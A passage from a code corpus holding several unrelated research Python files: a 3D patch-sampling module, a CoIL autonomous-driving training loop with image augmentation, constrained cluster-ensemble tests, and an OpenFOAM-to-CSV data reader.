iterations=dilation_pre)\n\n preprocessed_volume = zoom(volume_ref, zoom_factor)\n preprocessed_labels = zoom(preprocessed_labels.astype(float), zoom_factor)\n preprocessed_template_size = (np.array(template_size) * zoom_factor).round().astype(int)\n\n preprocessed_labels = gaussian_filter(preprocessed_labels.astype(float),\n sigma=label_smoothing_sigma).round().astype(bool)\n if dilation_post != 0:\n preprocessed_labels = dilate(preprocessed_labels, struct, iterations=dilation_post)\n\n logging.info(\"Finding candidate NCC correspondences with reference volume.\")\n def get_patches(volume, coords, size, zoom_factor=1):\n for coord in coords:\n patch = get_subvolume(volume, size, coord)\n yield zoom(patch, zoom_factor)\n\n positive_patches = get_patches(volume_ref, coords_ref, get_rotation_safe_shape(template_size), zoom_factor)\n\n best_ncc = np.zeros_like(preprocessed_volume)\n for i, patch in enumerate(positive_patches):\n logging.info(f\"- Processing patch {i+1} of {len(coords_ref)}\")\n ncc, _ = get_best_ncc(preprocessed_volume, patch,\n template_shape=preprocessed_template_size, num_orientations=num_orientations)\n best_ncc = np.max([best_ncc, ncc], axis=0)\n\n # Is this a good idea???\n if True: #far_only, no_overlap_with_positives, strictly_negative\n preprocessed_labels = dilate(preprocessed_labels, struct, iterations=max(preprocessed_template_size)//2 + 1)\n\n candidate_matches = best_ncc\n candidate_matches[preprocessed_labels] = 0\n\n separation = max(preprocessed_template_size)//2 if min_separation is None else int(min_separation * zoom_factor)\n local_maxima = peak_local_max(candidate_matches, min_distance=separation,\n indices=False, threshold_abs=min_match_quality)\n\n logging.info(\"Removing responses close to borders.\")\n border_size = preprocessed_template_size//2 + 1\n border_mask = np.ones_like(candidate_matches).astype(bool)\n border_mask[tuple(slice(side, -side) for side in border_size)] = False\n local_maxima[border_mask] = False\n\n max_ncc = best_ncc[local_maxima].max()\n rescaled_ncc = (best_ncc[local_maxima] - min_match_quality) / (max_ncc - min_match_quality)\n\n logging.info(\"Computing weights from distances.\")\n distances = distance_transform(1 - preprocessed_labels) * local_maxima\n candidate_locations = np.where(distances)\n\n if isinstance(weight_function, str):\n weight_function = weight_functions[weight_function]\n\n weights = weight_function(distances[candidate_locations], **weight_function_params)\n # weights /= weights.sum()\n\n min_weight = 0\n max_weight = weights.max()\n rescaled_weights = (weights - min_weight) / (max_weight - min_weight)\n\n logging.info(\"Computing scores from NCCs and weights.\")\n scores = relative_ncc_weight * rescaled_ncc + (1 - relative_ncc_weight) * rescaled_weights\n scores /= scores.sum() # Normalize\n\n # convert locations to original coordinates:\n candidate_locations = tuple((locations / zoom_factor).astype(int) for locations in candidate_locations)\n return candidate_locations, scores\n\n\ndef get_positive_candidates(labels,\n dilation=5, # How many voxels to dilate labels.\n gauss_blur=5, # Radius of the Gaussian to smooth out labels.\n erosion=6, # How many voxels to erode labels.\n grid_size=5, # Points on a grid this coarse are dummy-labeled as background.\n use_alternate_grid=True, # Place grid offset by half the grid size in all dimensions.\n distance_noise=0.01, # Adding noise forces to choose a single best response locally.\n template_size=(75, 75, 75), # Size of patches to extract.\n num_samples=300, # Try to select this many locations.\n weight_function='constant_weight',\n weight_function_params={},\n verbose=False,\n **kwparams):\n '''\n Sampling scheme for positive samples.\n Samples representative positive samples by:\n - Finding non-overlapping patches.\n - Favoring sampling near to the border.\n '''\n\n # 1. Remove border around labels\n struct = binary_structure(labels.ndim, 1)\n dummy_labels = np.pad(labels, dilation, mode='constant')\n\n # Dilate, Gauss blurr, erode\n logging.info(\"Fixing label borders.\")\n dummy_labels = dilate(dummy_labels, struct, iterations=dilation).astype(float)\n dummy_labels = gaussian_filter(dummy_labels, gauss_blur).round()\n dummy_labels = erode(dummy_labels, struct, iterations=erosion)\n\n # 2. Place regular grid with negative voxels\n logging.info(\"Placing repulsive grid.\")\n locations = dummy_labels.ndim * (slice(grid_size//2, None, grid_size),)\n dummy_labels[locations] = 0\n if use_alternate_grid:\n locations = dummy_labels.ndim * (slice(None, None, grid_size),)\n dummy_labels[locations] = 0\n\n # Compute distances, add noise to avoid multiple responses\n logging.info(\"Computing distance map to augmented labels.\")\n distances = distance_transform(dummy_labels)\n distances += distance_noise * np.random.rand(*distances.shape)\n\n # Suppress non-maxima\n logging.info(\"Selecting local maxima.\")\n non_maxima_supp_window = (grid_size)//2 - 1\n local_maxima = peak_local_max(distances, min_distance=non_maxima_supp_window, indices=False, threshold_abs=0.01)\n local_maxima = get_subvolume(local_maxima, labels.shape)\n\n # Ignore borders\n logging.info(\"Removing responses close to borders.\")\n border_size = np.array(get_rotation_safe_shape(template_size))//2 + 1\n border_mask = np.ones_like(labels)\n border_mask[tuple(slice(side, -side) for side in border_size)] = 0\n local_maxima[border_mask] = False\n\n # Compute sampling weights from real distances from the border of the annotations.\n logging.info(\"Computing distance map to real labels.\")\n real_distances = distance_transform(labels) * local_maxima\n candidate_locations = np.where(real_distances)\n\n if isinstance(weight_function, str):\n weight_function = weight_functions[weight_function]\n\n weights = weight_function(real_distances[candidate_locations], **weight_function_params)\n # weight function can assign zeros to some locations; remove those.\n positive_weights = weights > 0\n candidate_locations = tuple(coords[positive_weights] for coords in candidate_locations)\n weights = weights[positive_weights]\n weights /= weights.sum() # Normalize\n\n return candidate_locations, weights\n\n\ndef get_positive_candidates_steps(labels,\n dilation=5, # How many voxels to dilate labels.\n gauss_blur=5, # Radius of the Gaussian to smooth out labels.\n erosion=6, # How many voxels to erode labels.\n grid_size=5, # Points on a grid this coarse are dummy-labeled as background.\n use_alternate_grid=True, # Place grid offset by half the grid size in all dimensions.\n distance_noise=0.01, # Adding noise forces to choose a single best response locally.\n non_maxima_supp_window=0,\n template_size=75, # Size of patches to extract.\n num_samples=300, # Try to select this many locations.\n weight_function='constant_weight',\n weight_function_params={},\n verbose=False,\n **kwparams):\n '''\n Sampling scheme for positive samples.\n Samples representative positive samples by:\n - Finding non-overlapping patches.\n - Favoring sampling near to the border.\n '''\n\n steps = []\n # 1. Remove border around labels\n struct = binary_structure(labels.ndim, 1)\n dummy_labels = labels.copy()\n\n # Dilate, Gauss blurr, erode\n logging.info(\"Fixing label borders.\")\n if dilation > 0:\n dummy_labels = np.pad(dummy_labels, dilation, mode='constant')\n dummy_labels = dilate(dummy_labels, struct, iterations=dilation).astype(float)\n if gauss_blur != 0:\n dummy_labels = np.pad(dummy_labels, int(2 * gauss_blur), mode='constant')\n dummy_labels = gaussian_filter(dummy_labels, gauss_blur).round()\n if erosion > 0:\n dummy_labels = np.pad(dummy_labels, erosion, mode='constant')\n dummy_labels = erode(dummy_labels, struct, iterations=erosion)\n dummy_labels = get_subvolume(dummy_labels, labels.shape)\n steps.append(dummy_labels.copy())\n\n # 2. Place regular grid with negative voxels\n logging.info(\"Placing repulsive grid.\")\n locations = dummy_labels.ndim * (slice(grid_size//2, None, grid_size),)\n dummy_labels[locations] = 0\n if use_alternate_grid:\n locations = dummy_labels.ndim * (slice(None, None, grid_size),)\n dummy_labels[locations] = 0\n steps.append(dummy_labels.copy())\n\n # Compute distances, add noise to avoid multiple responses\n logging.info(\"Computing distance map to augmented labels.\")\n distances = distance_transform(dummy_labels)\n distances += distance_noise * np.random.rand(*distances.shape)\n steps.append(distances)\n\n # Suppress non-maxima\n logging.info(\"Selecting local maxima.\")\n if non_maxima_supp_window in [None, 0]:\n non_maxima_supp_window = grid_size//2 - 1\n local_maxima = peak_local_max(distances, min_distance=non_maxima_supp_window, indices=False, threshold_abs=0.01)\n local_maxima = get_subvolume(local_maxima, labels.shape)\n steps.append(local_maxima.copy())\n\n # Ignore borders\n logging.info(\"Removing responses close to borders.\")\n if isinstance(template_size, int):\n template_size = labels.ndim * (template_size, )\n border_size = np.array(get_rotation_safe_shape(template_size, ndims=labels.ndim))//2 + 1\n border_mask = np.ones_like(labels)\n border_mask[tuple(slice(side, -side) for side in border_size)] = 0\n local_maxima[border_mask] = False\n steps.append(local_maxima.copy())\n\n # Compute sampling weights from real distances from the border of the annotations.\n logging.info(\"Computing distance map to real labels.\")\n real_distances = distance_transform(labels) * local_maxima\n candidate_locations = np.where(real_distances)\n steps.append(real_distances)\n\n if isinstance(weight_function, str):\n weight_function = weight_functions[weight_function]\n\n weights = weight_function(real_distances[candidate_locations], **weight_function_params)\n # weight function can assign zeros to some locations; remove those.\n positive_weights = weights > 0\n candidate_locations = tuple(coords[positive_weights] for coords in candidate_locations)\n weights = weights[positive_weights]\n weights /= weights.sum() # Normalize\n\n step_weights = np.zeros_like(real_distances)\n step_weights[candidate_locations] = weights\n steps.append(step_weights)\n\n return candidate_locations, weights, steps\n\n\ndef get_sample(candidate_locations, weights, num_samples):\n # Weighted sample locations\n logging.info(\"Sampling.\")\n max_possible_samples = len(weights)\n if max_possible_samples < num_samples:\n logging.warn(f\"Can't provide requested samples ({num_samples}). Finding all ({max_possible_samples}) samples.\")\n num_samples = max_possible_samples\n sample_indices = np.random.choice(max_possible_samples, num_samples, replace=False, p=weights)\n sample_coords = np.array(candidate_locations).T[sample_indices]\n\n return sample_coords\n\n\ndef _check_param_consistency(dict_a, dict_b):\n '''\n Compare two dictionaries with settings, to validate that settings are consistent.\n '''\n all_keys = set(list(dict_a.keys()) + list(dict_b.keys()))\n diff_keys = list(filter(lambda k: k not in dict_a or k not in dict_b, all_keys))\n if len(diff_keys) > 0:\n logging.error(f\"Parameter keys differ: {diff_keys}\")\n return False\n else:\n differences = list(f\"{key}: {dict_a[key]} != {dict_b[key]}\" for key in all_keys if dict_a[key] != dict_b[key])\n if len(differences) > 0:\n logging.error(\"Parameter values differ: {}\".format(\",\".join(differences)))\n return False\n return True\n\n\ndef _resolve_path(file_path):\n if file_path is None:\n raise ValueError(\"No path specified.\")\n return expanduser(file_path)\n\n\ndef _load_sampling_file(file_path, reference_params):\n file_path = _resolve_path(file_path)\n setup, locations, weights = 3 * (None, )\n if file_exists(file_path):\n logging.info(f\"Loading: {file_path}\")\n setup, locations, weights = np.load(file_path)\n if not _check_param_consistency(reference_params, setup):\n raise ValueError(\"Inconsistent parameters.\")\n else:\n logging.warn(f\"File {file_path} not found.\")\n return setup, locations, weights\n\n\ndef _save_sampling_file(file_path, setup, locations, weights):\n file_path = _resolve_path(file_path)\n np.save(file_path, [setup, locations, weights])\n logging.info(f\"Saved at {file_path}\")\n return True\n\n\ndef _reset_random_seed(random_seed):\n if random_seed is not None:\n np.random.seed(random_seed)\n\n\ndef get_positive_samples(labels,\n num_samples=10,\n save_path=None,\n attempt_resume=False,\n save=False,\n random_seed=None,\n **sampling_params):\n setup, locations, weights = 3 * (None, )\n\n # Put additional parameters into setup\n sampling_params['random_seed'] = random_seed\n sampling_params['save_path'] = save_path\n\n if attempt_resume:\n setup, locations, weights = _load_sampling_file(save_path, sampling_params)\n\n if setup is None:\n _reset_random_seed(random_seed)\n locations, weights = get_positive_candidates(labels, **sampling_params)\n\n if save:\n _save_sampling_file(save_path, sampling_params, locations, weights)\n\n _reset_random_seed(random_seed)\n\n return get_sample(locations, weights, num_samples)\n\n\ndef get_negative_samples(labels, ref_volume, ref_coords,\n num_samples=10,\n save_path=None,\n attempt_resume=False,\n save=False,\n random_seed=None,\n **sampling_params):\n setup, locations, weights = 3 * (None, )\n\n # Put additional parameters into setup\n sampling_params['random_seed'] = random_seed\n sampling_params['save_path'] = save_path\n\n if attempt_resume:\n setup, locations, weights = _load_sampling_file(save_path, sampling_params)\n\n if setup is None:\n _reset_random_seed(random_seed)\n locations, weights = get_negative_candidates(labels, ref_volume, ref_coords, **sampling_params)\n\n if save:\n _save_sampling_file(save_path, sampling_params, locations, weights)\n\n _reset_random_seed(random_seed)\n\n return get_sample(locations, weights, num_samples)\n","sub_path":"visualcorr/sampling.py","file_name":"sampling.py","file_ext":"py","file_size_in_byte":19027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"320049695","text":"import os\nimport sys\nimport random\nimport time\nimport traceback\n\nimport torch\nimport torch.optim as optim\nimport imgauggpu as iag\nimport math\n# import matplotlib.pyplot as plt\n\n# What do we define as a parameter what not.\n\nfrom configs import g_conf, set_type_of_process, merge_with_yaml\nfrom network import CoILModel, Loss\nfrom network.models import unit_task\nfrom input import CoILDataset, BatchSequenceSampler, splitter\nfrom logger import monitorer, coil_logger\nfrom utils.checkpoint_schedule import is_ready_to_save, get_latest_saved_checkpoint\nfrom torchvision import transforms\nfrom torch.autograd import Variable\n\n\ndef adjust_learning_rate(optimizer, num_iters):\n\t\"\"\"\n\tAdjusts the learning rate every epoch based on the selected schedule\n\t\"\"\"\n\tcur_iters = num_iters\n\tlr = g_conf.LEARNING_RATE\n\tminlr = g_conf.MIN_LEARNING_RATE\n\tscheduler = \"normal\"\n\tdecayinterval = g_conf.LEARNING_RATE_DECAY_INTERVAL\n\tdecaylevel = g_conf.LEARNING_RATE_DECAY_LEVEL\n\tif scheduler == \"normal\":\n\t\twhile cur_iters >= decayinterval:\n\t\t\tlr = lr * decaylevel\n\t\t\tcur_iters = cur_iters - decayinterval\n\t\tlr = max(lr, minlr)\n\n\tfor param_group in optimizer.param_groups:\n\t\tprint(\"New Learning rate is \", lr)\n\t\tparam_group['lr'] = lr\n\n\n# The main function maybe we could call it with a default name\ndef execute(gpu, exp_batch, exp_alias):\n # We set the visible cuda devices\n\n try:\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = gpu\n\n # At this point the log file with the correct naming is created.\n merge_with_yaml(os.path.join('configs', exp_batch, exp_alias + '.yaml'))\n set_type_of_process('train')\n\n coil_logger.add_message('Loading', {'GPU': gpu})\n\n if not os.path.exists('_output_logs'):\n os.mkdir('_output_logs')\n\n sys.stdout = open(os.path.join('_output_logs',\n g_conf.PROCESS_NAME + '_' + str(os.getpid()) + \".out\"), \"a\", buffering=1)\n\n\n\n if monitorer.get_status(exp_batch, exp_alias + '.yaml', g_conf.PROCESS_NAME)[0] == \"Finished\":\n # TODO: print some cool summary or not ?\n return\n\n #Define the dataset. This structure is has the __get_item__ redefined in a way\n #that you can access the HDFILES positions from the root directory as a in a vector.\n full_dataset = os.path.join(os.environ[\"COIL_DATASET_PATH\"], g_conf.TRAIN_DATASET_NAME)\n\n #augmenter_cpu = iag.AugmenterCPU(g_conf.AUGMENTATION_SUITE_CPU)\n\n dataset = CoILDataset(full_dataset, transform=transforms.Compose([transforms.ToTensor()]))\n\n # Creates the sampler, this part is responsible for managing the keys. It divides\n # all keys depending on the measurements and produces a set of keys for each bach.\n sampler = BatchSequenceSampler(splitter.control_steer_split(dataset.measurements, dataset.meta_data),\n g_conf.BATCH_SIZE, g_conf.NUMBER_IMAGES_SEQUENCE, g_conf.SEQUENCE_STRIDE)\n\n # The data loader is the multi threaded module from pytorch that release a number of\n # workers to get all the data.\n # TODO: batch size an number of workers go to some configuration file\n data_loader = torch.utils.data.DataLoader(dataset, batch_sampler=sampler,\n shuffle=False, num_workers=12, pin_memory=False)\n # By instanciating the augmenter we get a callable that augment images and transform them\n # into tensors.\n st = lambda aug: iag.Sometimes(aug, 0.4)\n oc = lambda aug: iag.Sometimes(aug, 0.3)\n rl = lambda aug: iag.Sometimes(aug, 0.09)\n augmenter = iag.Augmenter([iag.ToGPU()] + [\n rl(iag.GaussianBlur((0, 1.5))), # blur images with a sigma between 0 and 1.5\n rl(iag.AdditiveGaussianNoise(loc=0, scale=(0.0, 0.05), per_channel=0.5)), # add gaussian noise to images\n oc(iag.Dropout((0.0, 0.10), per_channel=0.5)), # randomly remove up to X% of the pixels\n oc(iag.CoarseDropout((0.0, 0.10), size_percent=(0.08, 0.2),per_channel=0.5)), # randomly remove up to X% of the pixels\n oc(iag.Add((-40, 40), per_channel=0.5)), # change brightness of images (by -X to Y of original value)\n st(iag.Multiply((0.10, 2), per_channel=0.2)), # change brightness of images (X-Y% of original value)\n rl(iag.ContrastNormalization((0.5, 1.5), per_channel=0.5)), # improve or worsen the contrast\n rl(iag.Grayscale((0.0, 1))), # put grayscale\n ]# do all of the above in random order\n )\n # augmenter = iag.Augmenter(g_conf.AUGMENTATION_SUITE)\n # TODO: here there is clearly a posibility to make a cool \"conditioning\" system.\n\n # model = CoILModel(g_conf.MODEL_NAME)\n model_enc = unit_task.VAEGen()\n model_task = unit_task._netF()\n model_enc, model_task = model_enc.cuda(), model_task.cuda()\n # print(model)\n\n criterion = Loss()\n\n # TODO: DATASET SIZE SEEMS WEIRD\n optimizer = optim.Adam(list(model_enc.parameters()) + list(model_task.parameters()), lr=0.0002)\n\n\n checkpoint_file = get_latest_saved_checkpoint()\n if checkpoint_file != None:\n checkpoint = torch.load(os.path.join('_logs', exp_batch, exp_alias,\n 'checkpoints', str(get_latest_saved_checkpoint())))\n iteration = checkpoint['iteration']\n accumulated_time = checkpoint['total_time']\n best_loss = checkpoint['best_loss']\n best_loss_iter = checkpoint['best_loss_iter']\n else:\n iteration = 0\n best_loss = 10000.0\n accumulated_time = 0 # We accumulate iteration time and keep the average speed\n best_loss_iter = 0\n\n # TODO: The checkpoint will continue, so it should erase everything up to the iteration\n\n best_loss_save = 10000.0\n best_loss_save_iter = 0\n curr_loss_save = 0.0\n\n print (dataset.meta_data)\n\n # print (model)\n capture_time = time.time()\n model_enc.train()\n model_task.train()\n for data in data_loader:\n\n\n input_data, float_data = data\n\n\n #TODO, ADD ITERATION SCHEDULE\n input_rgb_data = augmenter(0, input_data['rgb'])\n augment_for_controls = 1\n adjustlr = 1\n\n if augment_for_controls: #and self._config.targets_names[j] == \"Steer\":\n camera_angle = float_data[:,26,:]\n camera_angle = camera_angle.cuda()#self._config.variable_names.index('Angle'),i]\n print (\"Camera angle\", camera_angle[0])\n steer = float_data[:,0,:]\n # print(\"Original\", steer[0])\n steer = steer.cuda()\n speed = float_data[:,10,:]\n speed = speed.cuda()\n # print (steer)\n\n time_use = 1.0\n car_length = 3.0\n extra_factor = 2.5\n threshold = 1.0\n\n pos = camera_angle > 0.0\n pos = pos.type(torch.FloatTensor)\n neg = camera_angle <= 0.0\n neg = neg.type(torch.FloatTensor)\n pos = pos.cuda()\n neg = neg.cuda()\n\n rad_camera_angle = math.pi*(torch.abs(camera_angle)) / 180.0\n val = extra_factor *(torch.atan((rad_camera_angle*car_length)/(time_use*speed+0.05)))/3.1415\n # print(val)\n steer -= pos * torch.min(val , torch.tensor([0.6]).cuda())\n\n steer += neg * torch.min(val, torch.tensor([0.6]).cuda())\n\n print(\"val\", val[0])\n print (\"speed\", speed[0])\n\n steer = steer.cpu()\n float_data[:,0,:] = steer\n\n float_data[:, 0, :][float_data[:,0,:] > 1.0] = 1.0\n float_data[:, 0, :][float_data[:,0,:] < -1.0] = -1.0\n #coil_logger.add_images(input_rgb_data)\n\n # get the control commands from float_data, size = [120,1]\n\n controls = float_data[:, dataset.controls_position(), :]\n # print(\" CONTROLS \", controls.shape)\n # The output(branches) is a list of 5 branches results, each branch is with size [120,3]\n\n model_enc.zero_grad()\n model_task.zero_grad()\n # print ( 'INPUTS', dataset.extract_inputs(float_data).shape )\n embed = model_enc(input_rgb_data)\n print (type(embed))\n branches = model_task(embed[0], dataset.extract_inputs(float_data).cuda())\n\n #print (\"len \",len(branches))\n\n\n\n #targets = torch.cat([steer_gt, gas_gt, brake_gt], 1)\n # print (\"Extracted targets \", dataset.extract_targets(float_data).shape[0])\n loss = criterion.MSELossUNIT(branches, dataset.extract_targets(float_data).cuda(),\n controls.cuda(), dataset.extract_inputs(float_data).cuda())\n\n # TODO: All these logging things could go out to clean up the main\n if loss.data < best_loss:\n best_loss = loss.data.tolist()\n best_loss_iter = iteration\n\n curr_loss_save += loss.data\n\n # Log a random position\n position = random.randint(0, len(float_data)-1)\n\n output = branches[0]\n error = torch.abs(output - dataset.extract_targets(float_data).cuda())\n\n\n # TODO: For now we are computing the error for just the correct branch, it could be multi- branch,\n\n coil_logger.add_scalar('Loss', loss.data, iteration)\n\n\n loss.backward()\n optimizer.step()\n\n accumulated_time += time.time() - capture_time\n capture_time = time.time()\n\n\n # TODO: Get only the float_data that are actually generating output\n # TODO: itearation is repeating , and that is dumb\n coil_logger.add_message('Iterating',\n {'Iteration': iteration,\n 'Loss': loss.data.tolist(),\n 'Images/s': (iteration*g_conf.BATCH_SIZE)/accumulated_time,\n 'BestLoss': best_loss, 'BestLossIteration': best_loss_iter,\n 'BestLossSave': best_loss_save,\n 'Output': output[position].data.tolist(),\n 'GroundTruth': dataset.extract_targets(float_data)[position].data.tolist(),\n 'Error': error[position].data.tolist(),\n 'Inputs': dataset.extract_inputs(float_data)[position].data.tolist()},\n iteration)\n\n # TODO: For now we are computing the error for just the correct branch, it could be multi-branch,\n\n\n # TODO: save also the optimizer state dictionary\n if is_ready_to_save(iteration):\n\n state = {\n 'iteration': iteration,\n 'enc_state_dict': model_enc.state_dict(),\n 'task_state_dict': model_task.state_dict(),\n 'best_loss': best_loss,\n 'total_time': accumulated_time,\n 'best_loss_iter': best_loss_iter\n\n }\n # TODO : maybe already summarize the best model ???\n torch.save(state, os.path.join('_logs', exp_batch, exp_alias\n , 'checkpoints', str(iteration) + '.pth'))\n print (\"before best save\")\n if iteration % 5 == 0 and iteration > 4:\n curr_loss_save /= 5000.0\n if curr_loss_save < best_loss_save:\n\n best_loss_save = curr_loss_save\n curr_loss_save = 0\n state = {\n 'iteration': iteration,\n 'enc_state_dict': model_enc.state_dict(),\n 'task_state_dict': model_task.state_dict(),\n 'best_loss': best_loss_save,\n 'total_time': accumulated_time,\n 'best_loss_iter': best_loss_save_iter\n\n }\n # TODO : maybe already summarize the best model ???\n torch.save(state, os.path.join('_logs', exp_batch, exp_alias\n , 'best_loss_save'+ '.pth'))\n print (\"after best save\")\n if iteration == best_loss_iter:\n\n state = {\n 'iteration': iteration,\n 'enc_state_dict': model_enc.state_dict(),\n 'task_state_dict': model_task.state_dict(),\n 'best_loss': best_loss,\n 'total_time': accumulated_time,\n 'best_loss_iter': best_loss_iter\n\n }\n # TODO : maybe already summarize the best model ???\n torch.save(state, os.path.join('_logs', exp_batch, exp_alias\n , 'best_loss'+ '.pth'))\n\n iteration += 1\n\n if adjustlr and iteration % 1000:\n adjust_learning_rate(optimizer, iteration)\n\n except KeyboardInterrupt:\n coil_logger.add_message('Error', {'Message': 'Killed By User'})\n\n except:\n traceback.print_exc()\n\n coil_logger.add_message('Error', {'Message': 'Something Happened'})\n","sub_path":"Coil_Codes/coil_20-06/coil_core/train_unit_task.py","file_name":"train_unit_task.py","file_ext":"py","file_size_in_byte":13465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"653072439","text":"import Code.DataSetPreprocessing as dp\nimport Code.ClusterEnsemble as ce\nimport numpy as np\n\nmembers_dict = [20, 40, 60, 80, 100, 120, 140, 160, 180, 200]\niris = {'Iris_C': dp.loadIris}\npima = {'Pima_C': dp.loadPima}\nsoybean = {'Soybean_C': dp.loadSoybean}\nglass = {'Glass_C': dp.loadGlass}\nionosphere = {'Ionosphere_C': dp.loadIonosphere}\nsegmentation = {'Segmentation_C': dp.loadSegmentation}\nwine = {'Wine_C': dp.loadWine}\ncoil = {'Coil_C': dp.load_coil20}\n\n\n\ndef iris_CTest():\n for n_member in members_dict:\n param_1 = {'Iris_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'KM'}}\n param_2 = {'Iris_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'Cop_KMeans'}, 'constraints': '../Results/Constraints/iris_constraints_40%.txt'}\n ce.autoGenerationWithConsensus(iris, param_1, subfolder=True)\n ce.autoGenerationWithConsensus(iris, param_2, subfolder=True)\n\n\ndef pima_CTest():\n for n_member in members_dict:\n param_1 = {'Pima_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'KM'}}\n param_2 = {'Pima_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'Cop_KMeans'}, 'constraints': '../Results/Constraints/pima_constraints_40%.txt'}\n ce.autoGenerationWithConsensus(pima, param_1, subfolder=True)\n ce.autoGenerationWithConsensus(pima, param_2, subfolder=True)\n\n\ndef soybean_CTest():\n for n_member in members_dict:\n param_1 = {'Soybean_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'KM'}}\n param_2 = {'Soybean_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'Cop_KMeans'}, 'constraints': '../Results/Constraints/soybean_constraints_40%.txt'}\n ce.autoGenerationWithConsensus(soybean, param_1, subfolder=True)\n ce.autoGenerationWithConsensus(soybean, param_2, subfolder=True)\n\n\ndef glass_CTest():\n for n_member in members_dict:\n param_1 = {'Glass_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'KM'}}\n param_2 = {'Glass_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'Cop_KMeans'}, 'constraints': '../Results/Constraints/glass_constraints_40%.txt'}\n ce.autoGenerationWithConsensus(glass, param_1, subfolder=True)\n ce.autoGenerationWithConsensus(glass, param_2, subfolder=True)\n\n\ndef ionosphere_CTest():\n for n_member in members_dict:\n param_1 = {'Ionosphere_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'KM'}}\n param_2 = {'Ionosphere_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'Cop_KMeans'}, 'constraints': '../Results/Constraints/ionosphere_constraints_40%.txt'}\n ce.autoGenerationWithConsensus(ionosphere, param_1, subfolder=True)\n ce.autoGenerationWithConsensus(ionosphere, param_2, subfolder=True)\n\n\ndef segmentation_CTest():\n for n_member in members_dict:\n param_1 = {'Segmentation_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'KM'}}\n param_2 = {'Segmentation_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'Cop_KMeans'}, 'constraints': '../Results/Constraints/segmentation_constraints_40%.txt'}\n ce.autoGenerationWithConsensus(segmentation, param_1, subfolder=True)\n ce.autoGenerationWithConsensus(segmentation, param_2, subfolder=True)\n\n\ndef wine_CTest():\n for n_member in members_dict:\n param_1 = {'Wine_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'KM'}}\n param_2 = {'Wine_C': {'members': n_member, 'classNum': 3,'small_Clusters': 2, 'large_Clusters': 10,\n 'method': 'Cop_KMeans'}, 'constraints': '../Results/Constraints/wine_constraints_40%.txt'}\n ce.autoGenerationWithConsensus(wine, param_1, subfolder=True)\n ce.autoGenerationWithConsensus(wine, param_2, subfolder=True)\n\n\ndef coil_CTest():\n # for n_member in members_dict:\n param_1 = {'Coil_C': {'members': 10, 'classNum': 3,'small_Clusters': 5, 'large_Clusters': 15,\n 'method': 'KM'}}\n param_2 = {'Coil_C': {'members': 10, 'classNum': 3,'small_Clusters': 5, 'large_Clusters': 15,\n 'method': 'Cop_KMeans'},\n 'constraints': '../Results/Constraints/COIL20_constraints_500.txt'}\n ce.autoGenerationWithConsensus(coil, param_1, subfolder=True)\n ce.autoGenerationWithConsensus(coil, param_2, subfolder=True)\n\n\ndef Test():\n iris_CTest()\n pima_CTest()\n soybean_CTest()\n glass_CTest()\n ionosphere_CTest()\n segmentation_CTest()\n wine_CTest()\n\nTest()","sub_path":"Test/ConstrainedClusterEnsembleTest.py","file_name":"ConstrainedClusterEnsembleTest.py","file_ext":"py","file_size_in_byte":5250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"585223915","text":"import os, re, csv\ndir = os.getcwd()\n# dir = os.path.dirname(path)\n\ndef read_node(s, idx = -1):\n \"\"\"\n reads a given string s (x1, x2 ... xn) as an array\n returns array of x[i] for i in indices\n \"\"\"\n \n ar = [eval(x) for x in re.sub('[\\(\\)]', \"\", s).split(\" \")]\n \n if hasattr(idx, \"__len__\"):\n return [ar[i] for i in indices]\n elif idx < 0:\n return ar\n else:\n return ar[idx]\n\n\ndef read_data(dir):\n \"\"\"\n read the data file of openFoam (like U or Ux ...),\n seeks for the area, corresponded to the values of the parameter at each control volume and\n returns it as a list of strings\n \n \"\"\"\n with open(dir, 'r') as f:\n content = f.readlines()\n \n for idx, line in enumerate(content):\n if re.match('\\d+', line):\n length = eval(line)\n if re.match('\\(', line):\n start = idx + 1\n break\n \n end = start + length\n \n xx = []\n for line in content[start:end]:\n xx.append(read_node(line, 0))\n \n \n return xx, start\n \n\ndef read_input(path):\n name = os.path.basename(path)\n R_s, V_in_s = name.split('_')\n R, V_in = re.search('(?<=\\=)[\\d.]+', R_s)[0], re.search('(?<=\\=)[\\d.]+', V_in_s)[0]\n return eval(R), eval(V_in)\n\nif __name__ == \"__main__\":\n # dirs_to_discard = ['orig', '.git', 'Help', \"Lib\"]\n subfolders = [f.path for f in os.scandir(dir) if (f.is_dir() and f.name.find('R=') == 0 and f.name.find('_NN') < 0) ]\n file = open(dir + \"/data.csv\",'w')\n writer = csv.writer(file)\n\n for sf in subfolders:\n Ux, _ = read_data(sf + '/0/Ux')\n Uy, _ = read_data(sf + '/0/Uy') \n Cx, _ = read_data(sf + '/0/Cx')\n Cy, _ = read_data(sf + '/0/Cy') \n \n R, Vin = read_input(sf)\n\n for ux, uy, cx, cy in zip(Ux, Uy, Cx, Cy):\n row = [ux/Vin, uy/Vin, cx, cy, R, Vin]\n writer.writerow(row)\n 